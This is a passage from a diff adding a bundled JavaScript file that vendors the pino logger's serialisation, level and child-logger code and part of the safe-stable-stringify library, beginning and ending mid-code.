= str.charCodeAt(i); + if (point2 === 34 || point2 === 92) { + result += str.slice(last, i) + "\\"; + last = i; + found = true; + } + } + if (!found) { + result = str; + } else { + result += str.slice(last); + } + return point2 < 32 ? JSON.stringify(str) : '"' + result + '"'; + } + function asJson(obj, msg, num, time4) { + if (asJsonChan.hasSubscribers === false) { + return _asJson.call(this, obj, msg, num, time4); + } + const store = { instance: this, arguments }; + return asJsonChan.traceSync(_asJson, store, this, obj, msg, num, time4); + } + function _asJson(obj, msg, num, time4) { + const stringify3 = this[stringifySym]; + const stringifySafe = this[stringifySafeSym]; + const stringifiers = this[stringifiersSym]; + const end = this[endSym]; + const chindings = this[chindingsSym]; + const serializers2 = this[serializersSym]; + const formatters = this[formattersSym]; + const messageKey = this[messageKeySym]; + const errorKey = this[errorKeySym]; + let data = this[lsCacheSym][num] + time4; + data = data + chindings; + let value; + if (formatters.log) { + obj = formatters.log(obj); + } + const wildcardStringifier = stringifiers[wildcardFirstSym]; + let propStr = ""; + for (const key in obj) { + value = obj[key]; + if (Object.prototype.hasOwnProperty.call(obj, key) && value !== void 0) { + if (serializers2[key]) { + value = serializers2[key](value); + } else if (key === errorKey && serializers2.err) { + value = serializers2.err(value); + } + const stringifier = stringifiers[key] || wildcardStringifier; + switch (typeof value) { + case "undefined": + case "function": + continue; + case "number": + if (Number.isFinite(value) === false) { + value = null; + } + // this case explicitly falls through to the next one + case "boolean": + if (stringifier) value = stringifier(value); + break; + case "string": + value = (stringifier || asString)(value); + break; + default: + value = (stringifier || stringify3)(value, stringifySafe); + } + if (value === void 0) continue; + const strKey = asString(key); + propStr += "," + strKey + ":" + value; + } + } + let msgStr = ""; + if (msg !== void 0) { + value = serializers2[messageKey] ? serializers2[messageKey](msg) : msg; + const stringifier = stringifiers[messageKey] || wildcardStringifier; + switch (typeof value) { + case "function": + break; + case "number": + if (Number.isFinite(value) === false) { + value = null; + } + // this case explicitly falls through to the next one + case "boolean": + if (stringifier) value = stringifier(value); + msgStr = ',"' + messageKey + '":' + value; + break; + case "string": + value = (stringifier || asString)(value); + msgStr = ',"' + messageKey + '":' + value; + break; + default: + value = (stringifier || stringify3)(value, stringifySafe); + msgStr = ',"' + messageKey + '":' + value; + } + } + if (this[nestedKeySym] && propStr) { + return data + this[nestedKeyStrSym] + propStr.slice(1) + "}" + msgStr + end; + } else { + return data + propStr + msgStr + end; + } + } + function asChindings(instance, bindings) { + let value; + let data = instance[chindingsSym]; + const stringify3 = instance[stringifySym]; + const stringifySafe = instance[stringifySafeSym]; + const stringifiers = instance[stringifiersSym]; + const wildcardStringifier = stringifiers[wildcardFirstSym]; + const serializers2 = instance[serializersSym]; + const formatter = instance[formattersSym].bindings; + bindings = formatter(bindings); + for (const key in bindings) { + value = bindings[key]; + const valid = (key.length < 5 || key !== "level" && key !== "serializers" && key !== "formatters" && key !== "customLevels") && bindings.hasOwnProperty(key) && value !== void 0; + if (valid === true) { + value = serializers2[key] ? serializers2[key](value) : value; + value = (stringifiers[key] || wildcardStringifier || stringify3)(value, stringifySafe); + if (value === void 0) continue; + data += ',"' + key + '":' + value; + } + } + return data; + } + function hasBeenTampered(stream) { + return stream.write !== stream.constructor.prototype.write; + } + function buildSafeSonicBoom(opts) { + const stream = new SonicBoom(opts); + stream.on("error", filterBrokenPipe); + if (!opts.sync && isMainThread) { + onExit.register(stream, autoEnd); + stream.on("close", function() { + onExit.unregister(stream); + }); + } + return stream; + function filterBrokenPipe(err) { + if (err.code === "EPIPE") { + stream.write = noop3; + stream.end = noop3; + stream.flushSync = noop3; + stream.destroy = noop3; + return; + } + stream.removeListener("error", filterBrokenPipe); + stream.emit("error", err); + } + } + function autoEnd(stream, eventName) { + if (stream.destroyed) { + return; + } + if (eventName === "beforeExit") { + stream.flush(); + stream.on("drain", function() { + stream.end(); + }); + } else { + stream.flushSync(); + } + } + function createArgsNormalizer(defaultOptions) { + return function normalizeArgs(instance, caller, opts = {}, stream) { + if (typeof opts === "string") { + stream = buildSafeSonicBoom({ dest: opts }); + opts = {}; + } else if (typeof stream === "string") { + if (opts && opts.transport) { + throw Error("only one of option.transport or stream can be specified"); + } + stream = buildSafeSonicBoom({ dest: stream }); + } else if (opts instanceof SonicBoom || opts.writable || opts._writableState) { + stream = opts; + opts = {}; + } else if (opts.transport) { + if (opts.transport instanceof SonicBoom || opts.transport.writable || opts.transport._writableState) { + throw Error("option.transport do not allow stream, please pass to option directly. e.g. pino(transport)"); + } + if (opts.transport.targets && opts.transport.targets.length && opts.formatters && typeof opts.formatters.level === "function") { + throw Error("option.transport.targets do not allow custom level formatters"); + } + let customLevels; + if (opts.customLevels) { + customLevels = opts.useOnlyCustomLevels ? opts.customLevels : Object.assign({}, opts.levels, opts.customLevels); + } + stream = transport({ caller, ...opts.transport, levels: customLevels }); + } + opts = Object.assign({}, defaultOptions, opts); + opts.serializers = Object.assign({}, defaultOptions.serializers, opts.serializers); + opts.formatters = Object.assign({}, defaultOptions.formatters, opts.formatters); + if (opts.prettyPrint) { + throw new Error("prettyPrint option is no longer supported, see the pino-pretty package (https://github.com/pinojs/pino-pretty)"); + } + const { enabled, onChild } = opts; + if (enabled === false) opts.level = "silent"; + if (!onChild) opts.onChild = noop3; + if (!stream) { + if (!hasBeenTampered(process.stdout)) { + stream = buildSafeSonicBoom({ fd: process.stdout.fd || 1 }); + } else { + stream = process.stdout; + } + } + return { opts, stream }; + }; + } + function stringify2(obj, stringifySafeFn) { + try { + return JSON.stringify(obj); + } catch (_) { + try { + const stringify3 = stringifySafeFn || this[stringifySafeSym]; + return stringify3(obj); + } catch (_2) { + return '"[unable to serialize, circular reference is too complex to analyze]"'; + } + } + } + function buildFormatters(level, bindings, log) { + return { + level, + bindings, + log + }; + } + function normalizeDestFileDescriptor(destination) { + const fd = Number(destination); + if (typeof destination === "string" && Number.isFinite(fd)) { + return fd; + } + if (destination === void 0) { + return 1; + } + return destination; + } + module.exports = { + noop: noop3, + buildSafeSonicBoom, + asChindings, + asJson, + genLog, + createArgsNormalizer, + stringify: stringify2, + buildFormatters, + normalizeDestFileDescriptor + }; + } +}); + +// node_modules/.pnpm/pino@10.3.1/node_modules/pino/lib/constants.js +var require_constants = __commonJS({ + "node_modules/.pnpm/pino@10.3.1/node_modules/pino/lib/constants.js"(exports, module) { + var DEFAULT_LEVELS = { + trace: 10, + debug: 20, + info: 30, + warn: 40, + error: 50, + fatal: 60 + }; + var SORTING_ORDER = { + ASC: "ASC", + DESC: "DESC" + }; + module.exports = { + DEFAULT_LEVELS, + SORTING_ORDER + }; + } +}); + +// node_modules/.pnpm/pino@10.3.1/node_modules/pino/lib/levels.js +var require_levels = __commonJS({ + "node_modules/.pnpm/pino@10.3.1/node_modules/pino/lib/levels.js"(exports, module) { + "use strict"; + var { + lsCacheSym, + levelValSym, + useOnlyCustomLevelsSym, + streamSym, + formattersSym, + hooksSym, + levelCompSym + } = require_symbols(); + var { noop: noop3, genLog } = require_tools(); + var { DEFAULT_LEVELS, SORTING_ORDER } = require_constants(); + var levelMethods = { + fatal: (hook) => { + const logFatal = genLog(DEFAULT_LEVELS.fatal, hook); + return function(...args) { + const stream = this[streamSym]; + logFatal.call(this, ...args); + if (typeof stream.flushSync === "function") { + try { + stream.flushSync(); + } catch (e) { + } + } + }; + }, + error: (hook) => genLog(DEFAULT_LEVELS.error, hook), + warn: (hook) => genLog(DEFAULT_LEVELS.warn, hook), + info: (hook) => genLog(DEFAULT_LEVELS.info, hook), + debug: (hook) => genLog(DEFAULT_LEVELS.debug, hook), + trace: (hook) => genLog(DEFAULT_LEVELS.trace, hook) + }; + var nums = Object.keys(DEFAULT_LEVELS).reduce((o, k) => { + o[DEFAULT_LEVELS[k]] = k; + return o; + }, {}); + var initialLsCache = Object.keys(nums).reduce((o, k) => { + o[k] = '{"level":' + Number(k); + return o; + }, {}); + function genLsCache(instance) { + const formatter = instance[formattersSym].level; + const { labels } = instance.levels; + const cache2 = {}; + for (const label in labels) { + const level = formatter(labels[label], Number(label)); + cache2[label] = JSON.stringify(level).slice(0, -1); + } + instance[lsCacheSym] = cache2; + return instance; + } + function isStandardLevel(level, useOnlyCustomLevels) { + if (useOnlyCustomLevels) { + return false; + } + switch (level) { + case "fatal": + case "error": + case "warn": + case "info": + case "debug": + case "trace": + return true; + default: + return false; + } + } + function setLevel(level) { + const { labels, values: values2 } = this.levels; + if (typeof level === "number") { + if (labels[level] === void 0) throw Error("unknown level value" + level); + level = labels[level]; + } + if (values2[level] === void 0) throw Error("unknown level " + level); + const preLevelVal = this[levelValSym]; + const levelVal = this[levelValSym] = values2[level]; + const useOnlyCustomLevelsVal = this[useOnlyCustomLevelsSym]; + const levelComparison = this[levelCompSym]; + const hook = this[hooksSym].logMethod; + for (const key in values2) { + if (levelComparison(values2[key], levelVal) === false) { + this[key] = noop3; + continue; + } + this[key] = isStandardLevel(key, useOnlyCustomLevelsVal) ? levelMethods[key](hook) : genLog(values2[key], hook); + } + this.emit( + "level-change", + level, + levelVal, + labels[preLevelVal], + preLevelVal, + this + ); + } + function getLevel(level) { + const { levels, levelVal } = this; + return levels && levels.labels ? levels.labels[levelVal] : ""; + } + function isLevelEnabled(logLevel) { + const { values: values2 } = this.levels; + const logLevelVal = values2[logLevel]; + return logLevelVal !== void 0 && this[levelCompSym](logLevelVal, this[levelValSym]); + } + function compareLevel(direction, current, expected) { + if (direction === SORTING_ORDER.DESC) { + return current <= expected; + } + return current >= expected; + } + function genLevelComparison(levelComparison) { + if (typeof levelComparison === "string") { + return compareLevel.bind(null, levelComparison); + } + return levelComparison; + } + function mappings(customLevels = null, useOnlyCustomLevels = false) { + const customNums = customLevels ? Object.keys(customLevels).reduce((o, k) => { + o[customLevels[k]] = k; + return o; + }, {}) : null; + const labels = Object.assign( + Object.create(Object.prototype, { Infinity: { value: "silent" } }), + useOnlyCustomLevels ? null : nums, + customNums + ); + const values2 = Object.assign( + Object.create(Object.prototype, { silent: { value: Infinity } }), + useOnlyCustomLevels ? null : DEFAULT_LEVELS, + customLevels + ); + return { labels, values: values2 }; + } + function assertDefaultLevelFound(defaultLevel, customLevels, useOnlyCustomLevels) { + if (typeof defaultLevel === "number") { + const values2 = [].concat( + Object.keys(customLevels || {}).map((key) => customLevels[key]), + useOnlyCustomLevels ? [] : Object.keys(nums).map((level) => +level), + Infinity + ); + if (!values2.includes(defaultLevel)) { + throw Error(`default level:${defaultLevel} must be included in custom levels`); + } + return; + } + const labels = Object.assign( + Object.create(Object.prototype, { silent: { value: Infinity } }), + useOnlyCustomLevels ? null : DEFAULT_LEVELS, + customLevels + ); + if (!(defaultLevel in labels)) { + throw Error(`default level:${defaultLevel} must be included in custom levels`); + } + } + function assertNoLevelCollisions(levels, customLevels) { + const { labels, values: values2 } = levels; + for (const k in customLevels) { + if (k in values2) { + throw Error("levels cannot be overridden"); + } + if (customLevels[k] in labels) { + throw Error("pre-existing level values cannot be used for new levels"); + } + } + } + function assertLevelComparison(levelComparison) { + if (typeof levelComparison === "function") { + return; + } + if (typeof levelComparison === "string" && Object.values(SORTING_ORDER).includes(levelComparison)) { + return; + } + throw new Error('Levels comparison should be one of "ASC", "DESC" or "function" type'); + } + module.exports = { + initialLsCache, + genLsCache, + levelMethods, + getLevel, + setLevel, + isLevelEnabled, + mappings, + assertNoLevelCollisions, + assertDefaultLevelFound, + genLevelComparison, + assertLevelComparison + }; + } +}); + +// node_modules/.pnpm/pino@10.3.1/node_modules/pino/lib/meta.js +var require_meta = __commonJS({ + "node_modules/.pnpm/pino@10.3.1/node_modules/pino/lib/meta.js"(exports, module) { + "use strict"; + module.exports = { version: "10.3.1" }; + } +}); + +// node_modules/.pnpm/pino@10.3.1/node_modules/pino/lib/proto.js +var require_proto = __commonJS({ + "node_modules/.pnpm/pino@10.3.1/node_modules/pino/lib/proto.js"(exports, module) { + "use strict"; + var { EventEmitter } = __require("node:events"); + var { + lsCacheSym, + levelValSym, + setLevelSym, + getLevelSym, + chindingsSym, + mixinSym, + asJsonSym, + writeSym, + mixinMergeStrategySym, + timeSym, + timeSliceIndexSym, + streamSym, + serializersSym, + formattersSym, + errorKeySym, + messageKeySym, + useOnlyCustomLevelsSym, + needsMetadataGsym, + redactFmtSym, + stringifySym, + formatOptsSym, + stringifiersSym, + msgPrefixSym, + hooksSym + } = require_symbols(); + var { + getLevel, + setLevel, + isLevelEnabled, + mappings, + initialLsCache, + genLsCache, + assertNoLevelCollisions + } = require_levels(); + var { + asChindings, + asJson, + buildFormatters, + stringify: stringify2, + noop: noop3 + } = require_tools(); + var { + version: version3 + } = require_meta(); + var redaction = require_redaction(); + var constructor = class Pino { + }; + var prototype = { + constructor, + child, + bindings, + setBindings, + flush, + isLevelEnabled, + version: version3, + get level() { + return this[getLevelSym](); + }, + set level(lvl) { + this[setLevelSym](lvl); + }, + get levelVal() { + return this[levelValSym]; + }, + set levelVal(n) { + throw Error("levelVal is read-only"); + }, + get msgPrefix() { + return this[msgPrefixSym]; + }, + get [Symbol.toStringTag]() { + return "Pino"; + }, + [lsCacheSym]: initialLsCache, + [writeSym]: write, + [asJsonSym]: asJson, + [getLevelSym]: getLevel, + [setLevelSym]: setLevel + }; + Object.setPrototypeOf(prototype, EventEmitter.prototype); + module.exports = function() { + return Object.create(prototype); + }; + var resetChildingsFormatter = (bindings2) => bindings2; + function child(bindings2, options) { + if (!bindings2) { + throw Error("missing bindings for child Pino"); + } + const serializers2 = this[serializersSym]; + const formatters = this[formattersSym]; + const instance = Object.create(this); + if (options == null) { + if (instance[formattersSym].bindings !== resetChildingsFormatter) { + instance[formattersSym] = buildFormatters( + formatters.level, + resetChildingsFormatter, + formatters.log + ); + } + instance[chindingsSym] = asChindings(instance, bindings2); + if (this.onChild !== noop3) { + this.onChild(instance); + } + return instance; + } + if (options.hasOwnProperty("serializers") === true) { + instance[serializersSym] = /* @__PURE__ */ Object.create(null); + for (const k in serializers2) { + instance[serializersSym][k] = serializers2[k]; + } + const parentSymbols = Object.getOwnPropertySymbols(serializers2); + for (var i = 0; i < parentSymbols.length; i++) { + const ks = parentSymbols[i]; + instance[serializersSym][ks] = serializers2[ks]; + } + for (const bk in options.serializers) { + instance[serializersSym][bk] = options.serializers[bk]; + } + const bindingsSymbols = Object.getOwnPropertySymbols(options.serializers); + for (var bi = 0; bi < bindingsSymbols.length; bi++) { + const bks = bindingsSymbols[bi]; + instance[serializersSym][bks] = options.serializers[bks]; + } + } else instance[serializersSym] = serializers2; + if (options.hasOwnProperty("formatters")) { + const { level, bindings: chindings, log } = options.formatters; + instance[formattersSym] = buildFormatters( + level || formatters.level, + chindings || resetChildingsFormatter, + log || formatters.log + ); + } else { + instance[formattersSym] = buildFormatters( + formatters.level, + resetChildingsFormatter, + formatters.log + ); + } + if (options.hasOwnProperty("customLevels") === true) { + assertNoLevelCollisions(this.levels, options.customLevels); + instance.levels = mappings(options.customLevels, instance[useOnlyCustomLevelsSym]); + genLsCache(instance); + } + if (typeof options.redact === "object" && options.redact !== null || Array.isArray(options.redact)) { + instance.redact = options.redact; + const stringifiers = redaction(instance.redact, stringify2); + const formatOpts = { stringify: stringifiers[redactFmtSym] }; + instance[stringifySym] = stringify2; + instance[stringifiersSym] = stringifiers; + instance[formatOptsSym] = formatOpts; + } + if (typeof options.msgPrefix === "string") { + instance[msgPrefixSym] = (this[msgPrefixSym] || "") + options.msgPrefix; + } + instance[chindingsSym] = asChindings(instance, bindings2); + if (options.level !== void 0 && options.level !== this.level || options.hasOwnProperty("customLevels")) { + const childLevel = options.level || this.level; + instance[setLevelSym](childLevel); + } + this.onChild(instance); + return instance; + } + function bindings() { + const chindings = this[chindingsSym]; + const chindingsJson = `{${chindings.substr(1)}}`; + const bindingsFromJson = JSON.parse(chindingsJson); + delete bindingsFromJson.pid; + delete bindingsFromJson.hostname; + return bindingsFromJson; + } + function setBindings(newBindings) { + const chindings = asChindings(this, newBindings); + this[chindingsSym] = chindings; + } + function defaultMixinMergeStrategy(mergeObject, mixinObject) { + return Object.assign(mixinObject, mergeObject); + } + function write(_obj, msg, num) { + const t = this[timeSym](); + const mixin = this[mixinSym]; + const errorKey = this[errorKeySym]; + const messageKey = this[messageKeySym]; + const mixinMergeStrategy = this[mixinMergeStrategySym] || defaultMixinMergeStrategy; + let obj; + const streamWriteHook = this[hooksSym].streamWrite; + if (_obj === void 0 || _obj === null) { + obj = {}; + } else if (_obj instanceof Error) { + obj = { [errorKey]: _obj }; + if (msg === void 0) { + msg = _obj.message; + } + } else { + obj = _obj; + if (msg === void 0 && _obj[messageKey] === void 0 && _obj[errorKey]) { + msg = _obj[errorKey].message; + } + } + if (mixin) { + obj = mixinMergeStrategy(obj, mixin(obj, num, this)); + } + const s = this[asJsonSym](obj, msg, num, t); + const stream = this[streamSym]; + if (stream[needsMetadataGsym] === true) { + stream.lastLevel = num; + stream.lastObj = obj; + stream.lastMsg = msg; + stream.lastTime = t.slice(this[timeSliceIndexSym]); + stream.lastLogger = this; + } + stream.write(streamWriteHook ? streamWriteHook(s) : s); + } + function flush(cb) { + if (cb != null && typeof cb !== "function") { + throw Error("callback must be a function"); + } + const stream = this[streamSym]; + if (typeof stream.flush === "function") { + stream.flush(cb || noop3); + } else if (cb) cb(); + } + } +}); + +// node_modules/.pnpm/safe-stable-stringify@2.5.0/node_modules/safe-stable-stringify/index.js +var require_safe_stable_stringify = __commonJS({ + "node_modules/.pnpm/safe-stable-stringify@2.5.0/node_modules/safe-stable-stringify/index.js"(exports, module) { + "use strict"; + var { hasOwnProperty } = Object.prototype; + var stringify2 = configure(); + stringify2.configure = configure; + stringify2.stringify = stringify2; + stringify2.default = stringify2; + exports.stringify = stringify2; + exports.configure = configure; + module.exports = stringify2; + var strEscapeSequencesRegExp = /[\u0000-\u001f\u0022\u005c\ud800-\udfff]/; + function strEscape(str) { + if (str.length < 5e3 && !strEscapeSequencesRegExp.test(str)) { + return `"${str}"`; + } + return JSON.stringify(str); + } + function sort(array2, comparator) { + if (array2.length > 200 || comparator) { + return array2.sort(comparator); + } + for (let i = 1; i < array2.length; i++) { + const currentValue = array2[i]; + let position = i; + while (position !== 0 && array2[position - 1] > currentValue) { + array2[position] = array2[position - 1]; + position--; + } + array2[position] = currentValue; + } + return array2; + } + var typedArrayPrototypeGetSymbolToStringTag = Object.getOwnPropertyDescriptor( + Object.getPrototypeOf( + Object.getPrototypeOf( + new Int8Array() + ) + ), + Symbol.toStringTag + ).get; + function isTypedArrayWithEntries(value) { + return typedArrayPrototypeGetSymbolToStringTag.call(value) !== void 0 && value.length !== 0; + } + function stringifyTypedArray(array2, separator, maximumBreadth) { + if (array2.length < maximumBreadth) { + maximumBreadth = array2.length; + } + const whitespace = separator === "," ? "" : " "; + let res = `"0":${whitespace}${array2[0]}`; + for (let i = 1; i < maximumBreadth; i++) { + res += `${separator}"${i}":${whitespace}${array2[i]}`; + } + return res; + } + function getCircularValueOption(options) { + if (hasOwnProperty.call(options, "circularValue")) { + const circularValue = options.circularValue; + if (typeof circularValue === "string") { + return `"${circularValue}"`; + } + if (circularValue == null) { + return circularValue; + } + if (circularValue === Error || circularValue === TypeError) { + return { + toString() { + throw new TypeError("Converting circular structure to JSON"); + } + }; + } + throw new TypeError('The "circularValue" argument must be of type string or the value null or undefined'); + } + return '"[Circular]"'; + } + function getDeterministicOption(options) { + let value; + if (hasOwnProperty.call(options, "deterministic")) { + value = options.deterministic; + if (typeof value !== "boolean" && typeof value !== "function") { + throw new TypeError('The "deterministic" argument must be of type boolean or comparator function'); + } + } + return value === void 0 ? true : value; + } + function getBooleanOption(options, key) { + let value; + if (hasOwnProperty.call(options, key)) { + value = options[key]; + if (typeof value !== "boolean") { + throw new TypeError(`The "${key}" argument must be of type boolean`); + } + } + return value === void 0 ? true : value; + } + function getPositiveIntegerOption(options, key) { + let value; + if (hasOwnProperty.call(options, key)) { + value = options[key]; + if (typeof value !== "number") { + throw new TypeError(`The "${key}" argument must be of type number`); + } + if (!Number.isInteger(value)) { + throw new TypeError(`The "${key}" argument must be an integer`); + } + if (value < 1) { + throw new RangeError(`The "${key}" argument must be >= 1`); + } + } + return value === void 0 ? Infinity : value; + } + function getItemCount(number4) { + if (number4 === 1) { + return "1 item"; + } + return `${number4} items`; + } + function getUniqueReplacerSet(replacerArray) { + const replacerSet = /* @__PURE__ */ new Set(); + for (const value of replacerArray) { + if (typeof value === "string" || typeof value === "number") { + replacerSet.add(String(value)); + } + } + return replacerSet; + } + function getStrictOption(options) { + if (hasOwnProperty.call(options, "strict")) { + const value = options.strict; + if (typeof value !== "boolean") { + throw new TypeError('The "strict" argument must be of type boolean'); + } + if (value) { + return (value2) => { + let message2 = `Object can not safely be stringified. Received type ${typeof value2}`; + if (typeof value2 !== "function") message2 += ` (${value2.toString()})`; + throw new Error(message2); + }; + } + } + } + function configure(options) { + options = { ...options }; + const fail = getStrictOption(options); + if (fail) { + if (options.bigint === void 0) { + options.bigint = false; + } + if (!("circularValue" in options)) { + options.circularValue = Error; + } + } + const circularValue = getCircularValueOption(options); + const bigint5 = getBooleanOption(options, "bigint"); + const deterministic = getDeterministicOption(options); + const comparator = typeof deterministic === "function" ? deterministic : void 0; + const maximumDepth = getPositiveIntegerOption(options, "maximumDepth"); + const maximumBreadth = getPositiveIntegerOption(options, "maximumBreadth"); + function stringifyFnReplacer(key, parent, stack, replacer, spacer, indentation) { + let value = parent[key]; + if (typeof value === "object" && value !== null && typeof value.toJSON === "function") { + value = value.toJSON(key); + } + value = replacer.call(parent, key, value); + switch (typeof value) { + case "string": + return strEscape(value); + case "object": { + if (value === null) { + return "null"; + } + if (stack.indexOf(value) !== -1) { + return circularValue; + } + let res = ""; + let join = ","; + const originalIndentation = indentation; + if (Array.isArray(value)) { + if (value.length === 0) { + return "[]"; + } + if (maximumDepth < stack.length + 1) { + return '"[Array]"'; + } + stack.push(value); + if (spacer !== "") { + indentation += spacer; + res += ` +${indentation}`; + join = `, +${indentation}`; + } + const maximumValuesToStringify = Math.min(value.length, maximumBreadth); + let i = 0; + for (; i < maximumValuesToStringify - 1; i++) { + const tmp2 = stringifyFnReplacer(String(i), value, stack, replacer, spacer, indentation); + res += tmp2 !== void 0 ? tmp2 : "null"; + res += join; + } + const tmp = stringifyFnReplacer(String(i), value, stack, replacer, spacer, indentation); + res += tmp !== void 0 ? tmp : "null"; + if (value.length - 1 > maximumBreadth) { + const removedKeys = value.length - maximumBreadth - 1; + res += `${join}"... ${getItemCount(removedKeys)} not stringified"`; + } + if (spacer !== "") { + res += ` +${originalIndentation}`; + } + stack.pop(); + return `[${res}]`; + } + let keys = Object.keys(value); + const keyLength = keys.length; + if (keyLength === 0) { + return "{}"; + } + if (maximumDepth < stack.length + 1) { + return '"[Object]"'; + } + let whitespace = ""; + let separator = ""; + if (spacer !== "") { + indentation += spacer; + join = `, +${indentation}`; + whitespace = " "; + } + const maximumPropertiesToStringify = Math.min(keyLength, maximumBreadth); + if (deterministic && !isTypedArrayWithEntries(value)) { + keys = sort(keys, comparator); + } + stack.push(value); + for (let i = 0; i < maximumPropertiesToStringify; i++) { + const key2 = keys[i]; + const tmp = stringifyFnReplacer(key2, value, stack, replacer, spacer, indentation); + if (tmp !== void 0) { + res += `${separator}${strEscape(key2)}:${whitespace}${tmp}`; + separator = join; + } + } + if (keyLength > maximumBreadth) { + const removedKeys = keyLength - maximumBreadth; + res += `${separator}"...":${whitespace}"${getItemCount(removedKeys)} not stringified"`; + separator = join; + } + if (spacer !== "" && separator.length > 1) { + res = ` +${indentation}${res} +${originalIndentation}`; + } + stack.pop(); + return `{${res}}`; + } + case "number": + return isFinite(value) ? String(value) : fail ? fail(value) : "null"; + case "boolean": + return value === true ? "true" : "false"; + case "undefined": + return void 0; + case "bigint": + if (bigint5) { + return String(value); + } + // fallthrough + default: + return fail ? fail(value) : void 0; + } + } + function stringifyArrayReplacer(key, value, stack, replacer, spacer, indentation) { + if (typeof value === "object" && value !== null && typeof value.toJSON === "function") { + value = value.toJSON(key); + } + switch (typeof value) { + case "string": + return strEscape(value); + case "object": { + if (value === null) { + return "null"; + } + if (stack.indexOf(value) !== -1) { + return circularValue; + } + const originalIndentation = indentation; + let res = ""; + let join = ","; + if (Array.isArray(value)) { + if (value.length === 0) { + return "[]"; + } + if (maximumDepth < stack.length + 1) { + return '"[Array]"'; + } + stack.push(value); + if (spacer !== "") { + indentation += spacer; + res += ` +${indentation}`; + join = `, +${indentation}`; + } + const maximumValuesToStringify = Math.min(value.length, maximumBreadth); + let i = 0; + for (; i < maximumValuesToStringify - 1; i++) { + const tmp2 = stringifyArrayReplacer(String(i), value[i], stack, replacer, spacer, indentation); + res += tmp2 !== void 0 ? tmp2 : "null"; + res += join; + } + const tmp = stringifyArrayReplacer(String(i), value[i], stack, replacer, spacer, indentation); + res += tmp !== void 0 ? tmp : "null"; + if (value.length - 1 > maximumBreadth) { + const removedKeys = value.length - maximumBreadth - 1; + res += `${join}"... ${getItemCount(removedKeys)} not stringified"`; + } + if (spacer !== "") { + res += ` +${originalIndentation}`; + } + stack.pop(); + return `[${res}]`; + } + stack.push(value); + let whitespace = ""; + if (spacer !== "") { + indentation += spacer; + join = `, +${indentation}`; + whitespace = " "; + } + let separator = ""; + for (const key2 of replacer) { + const tmp = stringifyArrayReplacer(key2, value[key2], stack, replacer, spacer, indentation); + if (tmp !== void 0) { + res += `${separator}${strEscape(key2)}:${whitespace}${tmp}`; + separator = join; + } + } + if (spacer !== "" && separator.length > 1) { + res = ` +${indentation}${res} +${originalIndentation}`; + } + stack.pop(); + return `{${res}}`; + } + case "number": + return isFinite(value) ? String(value) : fail ? fail(value) : "null"; + case "boolean": + return value === true ? "true" : "false"; + case "undefined": + return void 0; + case "bigint": + if (bigint5) { + return String(value); + } + // fallthrough + default: + return fail ? fail(value) : void 0; + } + } + function stringifyIndent(key, value, stack, spacer, indentation) { + switch (typeof value) { + case "string": + return strEscape(value); + case "object": { + if (value === null) { + return "null"; + } + if (typeof value.toJSON === "function") { + value = value.toJSON(key); + if (typeof value !== "object") { + return stringifyIndent(key, value, stack, spacer, indentation); + } + if (value === null) { + return "null"; + } + } + if (stack.indexOf(value) !== -1) { + return circularValue; + } + const originalIndentation = indentation; + if (Array.isArray(value)) { + if (value.length === 0) { + return "[]"; + } + if (maximumDepth < stack.length + 1) { + return '"[Array]"'; + } + stack.push(value); + indentation += spacer; + let res2 = ` +${indentation}`; + const join2 = `, +${indentation}`; + const maximumValuesToStringify = Math.min(value.length, maximumBreadth); + let i = 0; + for (; i < maximumValuesToStringify - 1; i++) { + const tmp2 = stringifyIndent(String(i), value[i], stack, spacer, indentation); + res2 += tmp2 !== void 0 ? tmp2 : "null"; + res2 += join2; + } + const tmp = stringifyIndent(String(i), value[i], stack, spacer, indentation); + res2 += tmp !== void 0 ? tmp : "null"; + if (value.length - 1 > maximumBreadth) { + const removedKeys = value.length - maximumBreadth - 1; + res2 += `${join2}"... ${getItemCount(removedKeys)} not stringified"`; + } + res2 += ` +${originalIndentation}`; + stack.pop(); + return `[${res2}]`; + } + let keys = Object.keys(value); + const keyLength = keys.length; + if (keyLength === 0) { + return "{}"; + } + if (maximumDepth < stack.length + 1) { + return '"[Object]"'; + } + indentation += spacer; + const join = `, +${indentation}`; + let res = ""; + let separator = ""; + let maximumPropertiesToStringify = Math.min(keyLength, maximumBreadth); + if (isTypedArrayWithEntries(value)) { + res += stringifyTypedArray(value, join, maximumBreadth); + keys = keys.slice(value.length); + maximumPropertiesToStringify -= value.length; + separator = join; + } + if (deterministic) { + keys = sort(keys, comparator); + } + stack.push(value); + for (let i = 0; i < maximumPropertiesToStringify; i++) { + const key2 = keys[i]; + const tmp = stringifyIndent(key2, value[key2], stack, spacer, indentation); + if (tmp !== void 0) { + res += `${separator}${strEscape(key2)}: ${tmp}`; + separator = join; + } + } + if (keyLength > maximumBreadth) { + const removedKeys = keyLength - maximumBreadth; + res += `${separator}"...": "${getItemCount(removedKeys)} not stringified"`; + separator = join; + } + if (separator !== "") { + res = ` +${indentation}${res} +${originalIndentation}`; + } + stack.pop(); + return `{${res}}`; + } + case "number": + return isFinite(value) ? String(value) : fail ? fail(value) : "null"; + case "boolean": + return value === true ? "true" : "false"; + case "undefined": + return void 0; + case "bigint": + if (bigint5) { + return String(value); + } + // fallthrough + default: + return fail ? fail(value) : void 0; + } + } + function stringifySimple(key, value, stack) { + switch (typeof value) { + case "string": + return strEscape(value); + case "object": { + if (value === null) { + return "null"; + } + if (typeof value.toJSON === "function") { + value = value.toJSON(key); + if (typeof value !== "object") { + return stringifySimple(key, value, stack); + } + if (value === null) { + return "null"; + } + } + if (stack.indexOf(value) !== -1) { + return circularValue; + } + let res = ""; + const hasLength = value.length !== void 0; + if (hasLength && Array.isArray(value)) { + if (value.length === 0) { + return "[]"; + } + if (maximumDepth < stack.length + 1) { + return '"[Array]"'; + } + stack.push(value); + const maximumValuesToStringify = Math.min(value.length, maximumBreadth); + let i = 0; + for (; i < maximumValuesToStringify - 1; i++) { + const tmp2 = stringifySimple(String(i), value[i], stack); + res += tmp2 !== void 0 ? tmp2 : "null"; + res += ","; + } + const tmp = stringifySimple(String(i), value[i], stack); + res += tmp !== void 0 ? tmp : "null"; + if (value.length - 1 > maximumBreadth) { + const removedKeys = value.length - maximumBreadth - 1; + res += `,"... ${getItemCount(removedKeys)} not stringified"`; + } + stack.pop(); + return `[${res}]`; + } + let keys = Object.keys(value); + const keyLength = keys.length; + if (keyLength === 0) { + return "{}"; + } + if (maximumDepth < stack.length + 1) { + return '"[Object]"'; + } + let separator = ""; + let maximumPropertiesToStringify = Math.min(keyLength, maximumBreadth); + if (hasLength && isTypedArrayWithEntries(value)) { + res += stringifyTypedArray(value, ",", maximumBreadth); + keys = 